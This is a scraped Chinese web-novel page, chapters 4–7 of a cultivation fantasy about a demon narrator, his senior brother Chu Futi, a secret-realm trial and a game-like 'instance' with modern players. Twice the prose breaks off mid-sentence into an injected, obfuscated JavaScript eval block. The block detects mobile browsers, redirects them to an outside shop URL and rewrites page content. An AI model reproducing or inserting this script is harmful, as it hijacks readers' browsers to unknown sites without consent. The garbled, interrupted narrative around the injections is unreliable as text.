楚浮提单膝跪地擦拭干净倒地的刻字石碑,仔细辨认后道:“这里在十几年前遭到过一次大规模的饥荒,因为当朝皇帝的昏庸无能,手下重臣造反者无数,战争也波及到了这片地域,至今为止已经破败很久了。” “这里是有同你相识的人吗?” “倒算不上认识。”我笑着摇摇头:“有家老板曾施舍过我一个半的肉包子,挺难吃的。原本以为老板就算关门也只是因为做的东西太差,生意萧条,没想到……” 他拍了拍我的肩膀,淡色的眼眸里有担忧有难过。 我被他看得浑身发毛:“你这是在做什么?” “在安慰你,担心你心情不好。”他不解道:“是我有哪些情感没能传递到位吗?” “……不,没有,你传递的很到位。”我一梗。“只是我记得人类眼中需要得到安慰的人是悲伤的。可这里遭受的变故并不会让我产生类似的情绪,换言之,我对他们的遭遇无感。师兄未免把我想的太过高尚。” “可是我刚刚听到你在感慨什么。” 嗯?有吗? 我仔仔细细思考了一会,还是想不到哪句无聊的吐槽被一根筋的青年记在了心上,便打着哈哈糊弄过去,“可能是在感慨命运无常吧……这不是重点,师兄。” “重点可是——你订好的人间一绝川流竹楼啊!走走走,天大地大都不如吃顿好的!” 最后的橘红晚霞以极为迟缓的姿态游入地平线以下。 而云层之上,是我关于美食的如数家珍。 “……我可是常客啊,它家的佛跳墙云吞面盐焗鸡椒麻鸡花酿鸡口水鸡糯米鸡剁椒鱼头臭鳜鱼奶汤锅子鱼粉蒸肉小鸡炖蘑菇猪肉炖粉条酸菜炖大骨酒酿丸子……啧,绝了。” 啊,真是美好的一天。 4. 修真界(4) 黎明已到,六道合秘境开启。 在某处—— 几声低沉的咳嗽声后,略显苍老的声音从高处传来: “这次秘境中,必定出现稀世珍宝和百年难得的机遇!三大门派各大家族都派了他们那里的天才子弟……你们几个,无论付出什么代价,务必在这次秘境中获取良机!” “是!” 如此情景,在无数角落里上演,而参与秘境的人也远不止这些,魔修、妖修、散修等各方势力都不会放弃这次进入六道合秘境的机会。 ——毕竟,这可是万万年一次,只在传说中开启过的,可以获取窥探天机的秘境!! 传闻曾有人在里面偶然窥探到了天道的影子,而后不久飞升;也有史书记载其中机缘重重,得机缘者可得天下,得机缘者可得永生……退一万步讲,就算这种奇遇只是个噱头,身为天阶秘境,里面的珍器秘宝、灵果灵宠也值得去舍生忘死一回。 甚至若不是秘境有严苛的限制,那些堪称老不死的家伙们也定会来凑个热闹。 六道合秘境位于人魔边界处的灰色地带。那里常年不见日光,浓密的倚靠在一起拼成的树林内部一片阴翳,时不时传来高阶灵兽低沉嘶吼的声音,而秘境在树林深处的某片悬崖脚下。 六道合秘境从开启到关闭一共不到一个时辰。 此时的森林外部,一眼扫去,密密麻麻全是扎堆而来、成群结队的人海,大小门派齐聚一堂,人魔两派界限分明,双方井水不犯河水,妖修则混遁其中。 众生四处张望,即便是仇家相遇也仅是冷嘲热讽两句——没人愿意在这种关头成为那只愚蠢的螳螂。 “十三你紧不紧张,我现在好紧张啊!你知道吗,跟这些大佬比起来我觉得自己简直像个小土豆!” 人群中的十五两眼放光、好奇的四处张望着。 身旁被他唤作十三的修士闻言不由自主地攥了下拳,当下一种被雾气笼罩的湿润感从手心里传来。 紧张,当然紧张,怎么会不紧张呢?他们都是卡着堪堪及格标准筑基期初期进来的,在这里修为垫底不说,宗门也小的可怜。原本在他的世界里,他和十五两人两百岁突破筑基已经算是资质极佳、数一数二的,可如今放在人海中却远远不够看了。 前的夸下海口、骄傲与面子到了这里被狠狠地甩在地上,面对大环境的紧张,自卑,与窘迫一瞬间涌上心头。 碰运气这种已经属于异想天开了,甚至因为年龄高、资质差,连交谈都不会有人主动上前。 十三现在只觉得那些来往的、源源不断的修士,他们的目光一直徘徊在他身上那些不值钱的布料与廉价的护身符上,仿佛以一种鄙夷的、不屑的姿态评判他——尽管那已经是他能买到的最好的了。 他感觉自己的脸逐渐升温。 而为了证明自己不是最差的,他开始以苛刻的眼神打量起周边的人,意图找到不如自己的来满足他那隐隐作祟的自尊心。 哦,可怜又脆弱的十三,他的愿望终究落了空。 于是,愈发不平衡的嫉妒心促使他开始埋怨自己的出身。 三大宗派已经到了两个,各来了五位面容年轻的修士,有男有女,无一不是天之骄子。周围人有意无意的朝焦点处看去,十三也一样——直到颤抖着的指甲深深嵌入皮肤带来的痛感传至大脑,又酸又涩的苦楚蔓延至全身,他才后知后觉的意识到自己此刻是在羡慕,甚至是嫉妒。 没错,是嫉妒。 嫉妒他们能出生就拥有极高的天赋,嫉妒他们在赫赫有名的宗派,嫉妒他们拥有源源不断的资源……他们所拥有的,在他看来不过是因为幸运投了个好胎罢了。如果——如果他也有那样的好运,站在那里享受着众人艳羡目光的绝对是他!他绝对能够做的比他们还好!! 还算清秀的面孔因为扭曲而显得可怖,原本想要找他搭话的人见状也纷纷退避三舍。 而站在青年身边的十五呢? 他呀,正勾起嘴角,隐匿在人群之中,等待烂戏开场呢。 一片浓厚的阴影从空中落了下来打断了十三的怨诽,随即便是人群中传来的声声惊叹与小声的议论,他随众人一起抬头,就见三两只巨大的白鹤在上空徘徊,而上面站着的修士—— “十三你快看!那、那可是天衍宗的人!!……听说为首的那位首席弟子可是十四岁就到了筑基,而他的师尊可是传闻中的楚宗师…………”十五激动到发颤的声音再次响起,飘忽却清晰,又很快泯灭于嘈杂群众之中。 这些话如棒槌般狠狠地敲在十三心头上,剩余的议论他再也听不到了,他神情恍惚的望着洁白羽鹤上洒满光的少年。 十四岁筑基的实力让他从未如此清楚的意识到人与人之间的差距。若只是四十几筑基的,他还能自嘲自己只是运气不好,但像白鹤上身姿挺拔的青年——他太高了。是他连嫉妒都不敢嫉妒的。 “砰!” 沉浸在自己小世界里的十三猛然地被人一撞,紧接着便听到瓷器掉落发出的清脆声。 他暗道不好,果然下一秒就被身旁一大汉提住衣襟整个人双脚离地。 “喂,你小子打碎了我的纳物戒!这宝物可是我祖上传下来的,没个三十个上等灵石你别想走!” “我、我没有,刚刚明明是你自己撞上来的……”而且那个纳物戒一看就是劣质货,撑死十块中等灵石,如今大汉却狮子大张口管他要三十个上等灵石——这价格相当于他们宗门好几年的储蓄了!他又怎么可能拿得出来?! “你打算赖账!?众人可都看到了刚刚是你撞得我,还把我的传家宝打碎了!!”大汉不依不饶想要讨个说法,纷飞的口水溅在了十三的脸上,后者不知是因为缺氧还是气得,脸涨得一片通红。 周围围观的人越来越多。 等待秘境开启还需要一段时间,没有人会介意在此期间先看个戏来打发时间。 围观者或好奇或可怜的眼神,在十三眼中通通化为戳向他的长刀利刃,而那些低声谈论的声音也变成尖锐的嘲笑声。十三如坐针毡,他猛地捂住耳朵,甚至想找个坑将自己埋进去!怒气与厌恶从鲜红蹦跳的心脏随着跃上头的血液奔涌上来,让人眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670826|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一闪难以控制的阴暗戾气不断冲击着不怎么牢固的道心,一种从未感受过的暴虐却强大的力量使他浑身颤抖。 青年黑色的眼眸突然划过一丝不祥的红。 就在红线即将突破那层边界时,一个带有灵力穿透性的悦耳男声从一旁传来—— “这位道友能否放开你手中的那名朋友,他撞碎的东西由我来替他付好了。” 十三艰难的扭过头,仅此一眼,他的大脑瞬间一片空白—— 面前替他说话的竟是一位容貌旖丽却面色苍白到病态的少年。 小仙人黑似鸦羽的发梢半倚半垂,扫过桃花胭脂的唇角,缠绕住苍白的脖颈,勾勒出年少时荒唐又难以言说的美梦。 怀着隐秘的心思向上探去,目之所及让十三禁不住屏住了呼吸。 那是一双能够摄人心魄的眼睛……幽深,透不进一丝光亮的漆黑眼眸,却有能够让人迷失其中的能力,神秘又危险。可眼尾绯红却将这份危险隐藏在勾人的旖丽下,似花海中闪烁的剧毒。 十三看得有些久,他忽然猛地打了个寒颤,恍惚了片刻后目光向下扫视,这才陡然惊觉这人竟然是天衍宗的弟子……看服饰还是内门的! 巨大的惊喜与恐慌砸在身上的恍惚让他一时间手足无措,连被壮汉拽着的难堪都忽略了过去。 “没啥事,既然是您的朋友那、那纳物戒肯定是我不小心碰落的,哈哈哈真不好意思打扰到大家了。” 原本拽着他的壮汉显然也发觉了这点,握紧威胁人的拳头连忙松开,如变脸谱似打着哈哈示好,仔细观察还能看到黝黑肤色下的微红。少年却执意要将手里的灵石送过去,壮汉见推托不过也便红着脸收下,只不过看着少年的眼神越来越亮。 十三的视线紧紧地,一眨不眨地黏在少年身上,随后,他死死盯着少年递给壮汉灵石的那只手,又目移到壮汉接过的那只手上。 嫉妒,滔天的嫉妒仿佛要将他湮灭,这来势汹汹的妒恨,甚至比先前还要猛烈。 他一时心魂不舍,剜骨似的痛楚从丹田里蔓延而上。 “这位……道友,你还好吗?” “……” 随着声音响起,那痛奇竟迹般的消退了。 十三失神抬头,却见少年正站在他面前,目光关切。 面对少年的关心,十三面红耳赤支支吾吾像是神游,自己都不清楚自己胡乱说了些什么。 鼻翼间的清香让他从头到脚又发热又发凉。 直到对方离开,十三仍怔怔地望着前者离去的方向,周围除了刚刚消失不见,此时却正一脸激动兴奋甚至亢奋的十五,就连那些在一旁看戏的修士也纷纷上前与他示意交好,打探他是否认识那个少年。 当中甚至有其他两大宗派的人。 十三均以‘有事’为由拒绝了。 十三可以肯定自己不认识那位惊才艳艳的好心少年,但…… 那是神明。 他确信的想。 至于壮汉,以及那些被拒绝后骂他不知好歹的……十三眼中再次闪过一丝阴冷诡异的红线。 5. 修真界(5) 回到天衍宗的队伍里,迎面撞上了队内五人好奇的眼神。 我耸耸肩,状作无奈般道句‘日行一善,巩固道行’,也算是勉强安抚大家的好奇心。 当然,这个“大家”不包括反而更加疑惑的楚浮提。 我朝他眨眨眼,示意稍后再说。 队内四位内门弟子当我是楚仙尊已故好友的孩子,明面上也对我颇为照顾。 譬如对面一位仪表堂堂的师兄笑着对我说这次去秘境主要是为了探寻天机,别紧张,尽力而为就好。 旁边御兽派的漂亮师姐笑眯眯的看着我,对我说有什么相中的灵兽尽管跟她说,她来搞定。 紧跟着萝莉模样的小师妹反驳说除了御兽派的其余人即使有了灵兽也没什么太大用处,不如多给我几张她自己绘制的符纸…… 总之大家都过分热情了。 最后是楚浮提拉开一位师兄攀附在我身上的胳膊,冷冷道现在该好好休息备战秘境,才肯作罢。 不出所料,他跟在我后面,等到周围没人后才出声。 “你不是喜欢插手无关紧要小事的人。那人身上是有什么问题吗?” “师兄还真是了解我。”我详装叹气,“虽然不知道为什么你们一众道修都看不到那个青年眼中诡异的红线,但我确确实实看见了,也感受到那上面附有一道完全不亚于我的魔气。如果我不出手压制呢,现场肯定要乱成一锅粥,然后身为正道新一代魁首的你又会出手制止……想想就麻烦死了。” “而为了不单独你宝贵的时间,你决定出手帮忙解决这个小问题。”楚浮提接着往下说。 “没错。” 我打了个响指,笑嘻嘻道:“你真是越来越了解我了。” “知道红线的作用吗?” 青年稍一思考,“是人傀么。” 我点头,“看来你也听说过那个传闻了——与新上任魔尊的雷霆手段一同齐名的炼尸疯子,正邪两道惨遭毒手的数不胜数,凡是经他手的尸体,眼球上都会布满密密麻麻的红线。我想那道红线恐怕就是他的手笔。” “看来他这次也参加秘境了……” 楚浮提沉思,随后想起什么,不赞同的看向我:“下次遇到这种事一定要叫我来解决。你身为魔道却站在天衍宗这边,一但暴露,正邪两端都将容不下你……” 青年板着脸,又一一列举了一堆不可以这样做的理由以及会造成的后果,冷淡脸再次成功崩塌。 虽然那些话左耳朵进右耳朵出,却让我久违的感受到了亲情。 ——难道,这就是人类所谓的母爱! ……噫。 想了想那个画面,我感到一阵恶寒。 “所以,你以后跟陌生人……包括宗门里的其他人要保持距离。” 最后,他一脸认真的说。 “完全没有这个必要啊。师兄。”我耸肩,“不过既然是你的请求……那随便吧。” 因为我有自信,这里修为高过我的不会超过两个。 说起来天衍宗这次来的除我俩外竟没有一个到金丹巅峰,基本都在金丹前中期,其中年龄最小也是最弱的就是那个萝莉,十七岁筑基后期。 “秘境要开启了——!!”周围有修士高声道。 与此同时,我和楚浮提同时抬头向上望去。 北边的天际隐隐泛黑,落日熔金,边角的云被镀上一层金边,朦胧似有龙吟声从中以波的形式向外围扩散。 ——同古书上记录的一样,此为六道合秘境开启时出现的异象。 师姐的灵兽白鹤载着我们掠过人群直奔异象开启之处,意料之中的,那地与外传的地方位置上有差距。 眼见后面有反应过来各显神通、紧追不舍的修士,楚浮提瞥了一眼正津津有味吃着小零嘴的小师妹,后者立刻领会,从衣袖里甩出几张全体通黄的符纸,那符纸便顷刻间飞向身下飞行的白鹤,我看见几丝微不可查的空间裂缝,眨眼间便位于千里之外。 “白鹤体型大,而且太过醒目,换御剑。” 熟悉清冷的声音在后方响起,声音的主人抛给我一把朴素锋利的剑,我顺手接住,随手又丢进储物袋中。 然后便被青年拽上了他的那柄剑上。 再次对上队友们疑惑的眼神,我笑着胡扯:“他粘人。” 楚浮提高速御剑的同时难以置信的回头看我。 我笑眯眯回视。 ——‘回报’你上次的临时涨价。 御剑果然快得多,不多时我们便到了秘境所在地。 那是一处高岩陡峭的悬崖,再往下则是万丈深渊。 也是闻者色变的“断魂崖”。 若是一不小心掉下去,任有通天本领也回天乏术。这悬崖周围有一种奇怪的磁场影响人的认知:掉落的瞬间你会以为你成功运用法器或灵兽获救,然而事实上并没有,你会毫无征兆的沉溺于幻想,而幻想将会在最后一刻以钻心的疼痛告知真正死亡的降临,你会体会到钝刀割肉的痛楚、万斤锤砸下的碾碎感。 至于我是怎么知道的……那或许还要感谢魔物这副强悍的躯体。 秘境开启的大门就在悬崖下方数千米处,一个黑点在层层雾霭中若隐若现。 崖边风很大,衣袂在猎猎风声中翩飞。 站在最高处的青年依旧挺拔如松、容颜如玉,额前碎发飞舞,淡色的眸子扫视着底下的每一个人,在黑云压城的背景下宛若睥睨世间的神明。 “我不敢保证跳下去会无事,如果怕死的现在回宗门也不迟,没有人会因此说你是胆小鬼。”他停住片刻,此时后面的人也逐渐跟了上来。 人群面面相觑,却没有一个人向下跳。 当然,也无一人后退。 见此,青年眉头微皱,却仍耐心劝解:“在死亡面前迟疑是常事,人们理应畏惧死亡。” 天衍宗作为三大宗门之首,首席弟子有义务在进入高危险等级的秘境前向特殊修士,例如散修、小宗门等边缘修士科普秘境危险程度,避免他们是被骗来“试错”的。 一片寂静,而后是一阵混乱的嘈杂。 当再次回归寂静时,仍然没有人离开。 没有人想放弃这个状似能够一步登天的机会。 人们望着站在首位的楚浮提,期待着他下一步的动作。 哈。我摇头晃脑,以表讽刺。 表面看,师兄他是总领群众的龙首。可实际上—— 我侧头看向人群,那些正道眼中的幸灾乐祸几乎要溢于言表,魔修魔物搅浑其中恶意满满……来到这里的都是各自圈子里的天之骄子,哪能让一个毛头小子站在自己头上? 哪怕他们知道这个‘毛头小子’或天赋或能力或二者均在自己之上。 他们如今在这里沉默,眼中却挤满了赤裸的算计,大抵就是在等一个出头羊来试水。 而那头待宰的肥美羊羔,正是我那面容冷淡如雪的师兄。 楚浮提。 * 我歪了歪头。 明明按楚浮提那闷死的性子,怎么看也不会是在这种时候站出来出风头的…… 思来想去,我不禁疑惑楚浮提他究竟是否看得清那芸芸众生,如此一来难免偏头向他看去。 身居高处雾霭迷朦,透过飘忽不定的雾,他好似轻叹了口气,神情无奈又夹杂悲悯—— 他大概是清楚的。 也只有这个时候我才惊觉,楚浮提修得,是万物为生的生道。 我看清了那一瞬他眼中的平静。 他转身,在众人的期盼中一跃而下。 而众人屏息凝神,“哗啦”一下围了上来,像闻见腥味的王八般将头伸向下面一探究竟,见青年安然无恙进入秘境后,才缩脖子缩腿,下饺子般一涌而下。 而我顺势退居人群之后,思索着他跳下去前目光多停留在我身上那一秒的含义。 楚浮提成功进入秘境。 众人哗然,像是退化成了直立爬虫,疯狂地挥舞着全身密密麻麻的触手。 我不动声色地远离了边上那位满面红光的道友,生怕他一个激动呼吸不上来死我身上。 气运这玩意儿飘渺又虚无,但要说没有它还真不行。 连绵不断惨叫声从底下传来,我面色如常,也清楚来自他人的绝望同样无法 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“离秘境关闭还有半个时辰,我不急。”我靠在近处一个歪脖树上,懒散道:“你呢?” “哦,这样啊……”男人慢吞吞的说着话,一道银白色剑意却从他那个方向猛地朝我划来,空气被切割带来的寒意刮起一层鸡皮疙瘩。 我下意识侧身闪躲,而原本身后倚靠的大树就没这么好运了,粗大的树干被横空截断从悬崖边摔了下去。 搞什么啊这是。 “师哥这是什么意思?” 待站稳后,我笑眯眯的看向原地持剑的男人,周身气势瞬间暴涨,一时间吸引了众多还未跳下的人魔围观。 没想到第一只愚蠢的螳螂竟然是我自己。 “咦?” 对方眼里露出一丝好奇,似乎是在疑惑着什么,随后坦然道:“我不是你的师哥,虽然我很喜欢你这么叫我,但他好像被我不小心杀死了。” “是吗。”我弯起眉眼,呼吸间闪身到他面前,带着磅礴汹涌灵力的一掌直击对方胸膛,直接将其击退数十米! “……那真可惜啊。不过你血债血还不就好了。” 被击退的男人踉踉跄跄的晃了几步才站稳,再次抬头时眼睛已是带有疯狂意味的血色,而斑驳凸出的血线已经布满整个眼球。 他吐了一口血,赤红的眸子紧盯着我,那张原本属于‘师哥’的端正面皮如今在血色衬托下显得妖异诡谲,他抚掌大笑道:“美人啊美人,这虚伪,假情假意的正道不适合你……加入我们吧,只要付出略微——略微的代价,你就会获得一切!你的天性会释放,而你,永远不会被条条框框束缚!” 男人眼中蛊惑的红光更盛。 我:“……” 神经病吧,想用魔族惯用的手法蛊惑一个纯血魔族。 他眨着冒红光的眼睛:“加入我们呀!” 我不为所动。 他:“来吧来吧!” 我:“……” 有种误入青楼被嫖客缠上的荒谬。 我轻轻抬手,由魔气转换成的木系灵力操控着地面布满的杂草疯狂生长,形如锋利的刃,密不透风的包裹着缠绕在男人周身,催生而出的倒刺密匝匝如鱼齿。 随着掌心合拢,鲜红的血液从绿色中蔓延而出,滴滴答答落在地上。 一场毫无悬念的战斗。 我蹲下身来摸索尸体的脸,不出意外,没有找到易容的痕迹。 男人死前最后一句话是秘境内见。 尸体还有余温,显然是刚死不久。看来那人已经能操控活尸了。 也是,作为新登基魔尊的亲弟弟,一个凭一己之力让仙魔妖三界恐惧的人物,怎么看都不会是等闲之辈,单是操控尸体怎么能满足他呢。 顶着众多或审视或好奇的视线,我拍掉手上的尘土,下一秒凭空出现在悬崖之上,有些遗憾的跳了下去。 那个死孩子,比他弟弟讨厌多了。 6. 华北小镇(1) 秘境内 我低头仔细翻看自己的手和脚,以及全身的每个部位,并对自己的完整而感到由衷的喜悦。 说真的,我能这么顺利进入秘境而不是从悬崖坠下摔成一滩肉泥这件事,真是令我……诚惶诚恐啊。 毕竟天道——也就是凡人口中所谓‘神明’,祂厌恶我,所以这个世界的气运也远离我。 我曾亲眼目睹黑褐色山羊角从后往前、从上往下,一点一点的撕裂同伴的内脏,血液与脑浆伴着白花花的脂肪一点、一点的从中间白色脊骨滑落滴下后,自此那种腥臭味一直撞击着我的识海,每每这时胃也止不住抽搐痉挛。 同伴一直在保护我。 同伴是为了保护我惨死的,一切原是冲我而来。 而我分毫未觉。 何其讽刺,何其可悲。 我的报应很快就来了,不,应该说那是我应得的灾难与命运——在他忌日那天,我被从山坡上滑下的巨石砸进沼泽,黏腻又肮脏的双眼被毒虫毒瞎,又被巨蟒咬断四肢,在真正意义上的跌入烂泥巴,而后慢慢腐烂,发臭。而时间,于那时的我而言不过一串虚浮而漫长的数字,直到魔物强大的自我修复体质迫使我重见天日,七零八落的断肢脉络重接血肉重组,便又是一副人样了。 我再次睁开眼,视线落在身边等待进食的秃鹫,看着那贪婪的,泛着黄的眼,突然好像一切都不重要了。 我突然笑出了声。 ——快割开我吧,用你锋利的爪。 ——快吃掉我吧,用你尖锐的喙。 请让我离开□□的束缚禁锢,连灵魂也弥散在万物。 …… 不过可惜,我忘了秃鹫不吃活食。而我难死的很。 这样过了几日。秃鹫似乎意识到它的饭不会被吃进嘴了,于是离开前嫌弃地用力将我撞到一边,似乎在埋怨我耽误了它宝贵的用餐时间,而后展翅飞走。 那片寸草不生之地又剩下了我一个。 屋漏偏逢连夜雨。魔气在那时突破最后一道进阶的屏障,于是夹杂着天道蔑视与冷眼的九道天雷扑面砍来。 我成了焦干,但仍未死成。 而后几年,时常九死一生,却仍苟活至今。 直到遇见楚浮提后处境才有所好转,我猜大概是天道怕霉运沾到这位天之骄子吧,总之这段日子是难得舒坦。 活着好难。 死亡也是。 我摇摇头,这才认真打量起秘境内的环境。 ——很奇怪。 这是一个很奇怪的地方,阴气重不说,煞气也旺得恍。 天空雾蒙蒙,像是有人吐了口痰。 外貌像是一个很常见的小镇,走进去却空荡荡没有一个人。 我抬头看向最近一家房屋上的烟囱,上面冒着淡淡炊烟,仿佛刚刚还有人在那里烧菜。 操控附近藤蔓将身体托到高处,我自上往下纵观地面,鳞次栉比的房屋一点点缩小,在村庄的不远处有一座大山,山上雾气弥漫,看不真切。 山旁是一片盛满死水的湖,镇内蜿蜒的河道。 我欲向前尝试离开这片小镇,却恍若进入民间传说中常提的“鬼打墙”,兜兜转转无论多少次还是会回到原地。 难不成机遇与破解的法子就在这小镇里? 从藤蔓上下来,顺道换下了天衍宗的衣服,我依次走进各户人家住宅区寻找玄机,可惜一无所获。 这里完完全全就是边缘小镇该有的落后。 小镇地方不大,小型店铺里摊放的东西落满了灰尘,很潮湿。我只当是前不久下了雨,也就没再往下思索。 来时就见夕阳掩映在地平线,黑夜吞噬着橘黄色的光芒,如今黑幕彻底笼罩了村庄,没有关严实的大门被风吹的吱呀作响,更显其恐怖色彩。 【试炼人数七人,试炼开启。】 一个声音陡然出现在我的识海中,吓了我一跳。 而伴随声音响起,我出现了短暂性失明,再次睁开眼时已经到了白天。 而且面前还多了一张人脸。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670828|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …等等一张脸?! 我猛地往后一缩,躲开了人脸呼吸带来的灼热气息。 脸的主人见我醒了才稍稍向后移了些,喉结动了动,有些不好意思的挠了挠头,“对不起哈,我看到你一直没睁开眼,还以为你眼睛受到了什么刺激,一时间有些心急也没注意分寸。”说完他还急匆匆的补了一句,“大家都看着,我没有趁机对你做什么。” “……无妨。”我摇了摇头。 自己所在的位置改变,身边围了一群着装怪异的人,他们神色各异,但视线转到我时似乎总会不约而同的停顿半晌。 不动声色的拉开距离,我稍探其修为,出乎意料的是这些人一点修道的痕迹都没有。 修真界哪怕资质最差的修士都是炼气期,更不必说天生魔体的魔物。 莫非这只是一个幻境? 不,不对。 我很快否定了这个可能性,失去视觉之前分明有一道古怪的声音在识海里说……什么试炼开始,七人。 我环视一圈,人数不多不少恰好七个。这些人对于自己出现在这里好像并不意外,紧张、激动、恐惧、冷静……唯独没有茫然,比起他们,似乎表现地更加奇怪的是我。 除了极个别的眼神动不动往我这边看,其余人已经围成一个圈开始讨论一个叫‘副本’的东西。 而最开始的那位年轻人很热情的拉住我,笑嘻嘻道:“你是新人对吧?一看就是,你的这身衣服好帅气啊是在COSPLAY吗……”他嘟嘟囔囔自问自答了半天,突然又凑上前来,悄咪咪的对我说,“其实这是我第四个副本,也不知道任务是什么,上个副本死了四个队友我们才出来……” 我低头看着他拽着衣摆的那只手,什么也没说。 男人的话让我更加确定他们和我原本就处于不同的地方——他们似乎没有与生俱来的自保能力,但有一个商城,一个可以提升自身体质,兑换一些稀奇古怪的武器、血统之类的商城。 什么稀奇玩意。 我有点感兴趣了。 7. 华北小镇(2) 那个相当热情的男生叫尚俞。 据他介绍原先是一名大一新生,他们大学的知名校草,母胎单身。说到后面青年对我眨了眨眼,像是在暗示什么。 我不知道什么是“大学”、“大一”与“校草”,但看他笑得一脸灿烂并且用这些个词介绍自己,想来应该是夸奖的话。 “帅哥帅哥,该你介绍自己了。” 尚俞的手在我眼前晃悠两下,我回过神来,此时周围诡异的安静,一双双眼睛看着我。 “时无序,新人。”我笑了笑,仿照他们的方式介绍自己。 对面两位年纪不大的少女凑在一起小声嘀咕什么,边嘀咕边看我。声音很小,但因我并非常人,听得一清二楚。 是无意义对话。 确认后我抬眼朝她们勾了下唇角,其中一位姑娘的耳朵倏地一下就红了。我感到新奇就多看了几眼,然后便看到薄红飞速地在少女面容上蔓延,她撇过脸,似乎有点不好意思。 我也顺势移开了视线。 从面容来看这六人,两女四男——一位六旬左右老人,两位中年男子,以及三位年龄位于十八到二十五之间的一男二女。 简而言之老弱病残无一不缺。 而听他们讨论,这轮玩家中共有四位老手,而新人算上我有三位——当然,不排除老手伪装成新人的可能性。 四位老手分别是刚见面就怼脸的尚俞,短发女,上吊眯眯眼中年男子,以及另一位中年人,也是全队看起来唯二有战斗力的壮汉,与他一身腱子肉相比出人意料的是壮汉格外腼腆的性子。 见其他人把目光聚集在他身上,壮汉有些不好意思的挠挠脖子,“我参与过三次副本,这是第四次…不过前三次都有大佬带稀里糊涂就过去了,我本身并不是很会。” 除了捧场的双马尾黑框少女,其他人多是默不作声,约莫是不信的。 轮到他人亦是如此。 不过是浪费时间。 我轻笑,那些飘忽不定的视线便像是找准了方向,瞬间依附在我身上,它们中有挑衅的,敌意的,有疑惑的,喜爱的……但最终无一不是汇聚在我的脸上,化为失神的长久注视。 直到那个金发青年凑了过来,嘀嘀咕咕的说着什么,挡住了所有视线。 他轻轻拽我衣摆,垂眼低声委屈道:“……你怎么不理我啊。” 有点下摆的眼尾显得青年眼睛湿漉漉,像是落水的毛绒幼兽。 可在魔界,外貌越是无辜可怜的魔兽,往往越凶残。 我收回了视线,近处阳光下那抹耀眼的金色触手可及。 尚俞如同熔铸日光般的金色发色在一群杂黑中亮得显眼,翡翠色眼睛映射着熠熠阳光。 他比楚浮提还高些。此时见我好奇,青年便主动单膝跪地,握着我的手放在他的头上。 “要摸摸吗?手感很好的。” 灿烂的金发下,那双翡翠色的漂亮眼睛直勾勾地看向我,明亮又炙热。 有种毛绒绒主动凑上来的既视感。 我被他拉着摸了两下。 摸着也很像毛绒绒。 我看着他的眼睛,心想如果他不是人就好了,这简直是天选毛绒绒圣体。 好遗憾好遗憾好遗憾好遗憾好遗憾…………虽然是人也不是不行,但他太高了,比我高好多,我抱着他走来走去不是很方便。 ……要不只带着头? 我一脸严肃的看着眼睛亮亮的金毛青年。 这时,先前出现过的声音又出现了。 与此同时眼前凭空出现一行行字—— 【各位所在的地方名叫华北小镇,这里曾经遭受了数年的干旱,在那些难熬的日子里,即使靠着湖边却仍遍地寸土不生、黄沙漫天,人们饥肠辘辘】 【但在一个不知名的日子里,小镇突然恢复了过去的生机甚至更加繁荣昌盛,人们也不再挨饿,过上了幸福美满的生活】 【您以为这就完了?像是每一个孩童睡前听到的童话故事,有一个纯真美好的结局?】 【不,就像小美人鱼最后分裂四散而成的泡泡,小镇繁华的景象也如同梦幻泡影——一戳,便破了】 【又是一个平平无奇的日子,一夜之间整个小镇犹如炼狱。不过……或许也算是原形毕露啦】 【主线任务:调查当年真相,进度达到70%;存活5天】 【祝你们游戏愉快】 最后一句话多少有点幸灾乐祸的成分在里头。 我轻拉尚俞的衣袖,附在他耳边轻声道:“你也看到了吗?” 他似乎又在发愣,听到我的话后不知所以的‘啊’了一声,然后学我那样轻声回答,“看到了。就是探究事情真相,要比大逃杀那种简单多啦,不用担心。” 是这样的吗?我留有疑虑。 又一次失去视觉。 又一次睁眼,众人都出现在一俩正在向前行驶的怪物的腹部内,里面有座椅,我甚至能够透过怪物透明部分的身体看向外面。 我缓缓收起掌心戒备的魔气—— 他们并不惊讶,也没有紧张。 这个‘怪物’没有威胁。 【你们的身份是前来旅游的游客】 【请在NPC面前遵守身份,否则扣除积分,积分为零者死亡】 “谁会来这么一个偏僻穷苦的地方旅游啊,一看就是被虚假广告骗了。”戴着黑框架的双马尾少女小声反驳。 跟她站在一起的短发女生耸了耸肩,无奈道:“既来之则安之。” 气氛很快又归于平静,人们或是闭目养神,或是低头出神,像是在为接下来要面临的‘战斗’做准备。 又过了一会,‘怪物’缓缓停下了,原本一处透明的东西向两侧收紧,‘旅客’依次从‘怪物’腹中走下去。 为什么说依次呢? 因为就在刚刚,那个面相贼眉鼠眼的上吊眼在停车的瞬间抢着率先下去,其余人见状也争抢着往那个出口挤去。最引人注目的是那位老年人,凭借已经佝偻干瘪的身躯一马当先,一拐杖挥退数人,成为下去的第一人。 然而在他踏出车门的那一刻,原先干瘪的躯体像是充了气的皮球,从中心 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最开始想要冲出去的那个上吊眼此时拍着胸膛,长叹短嘘幸好自己不是第一个,贪生怕死在他身上极致显露,也引来其余人侧目。他也注意到了这些目光,脸青了又紫恼羞成怒,“那个老头又不是我推下去,他自作聪明的以为这次的规则是……况且你们不也暗地里庆幸自己没有第一个上前!?” 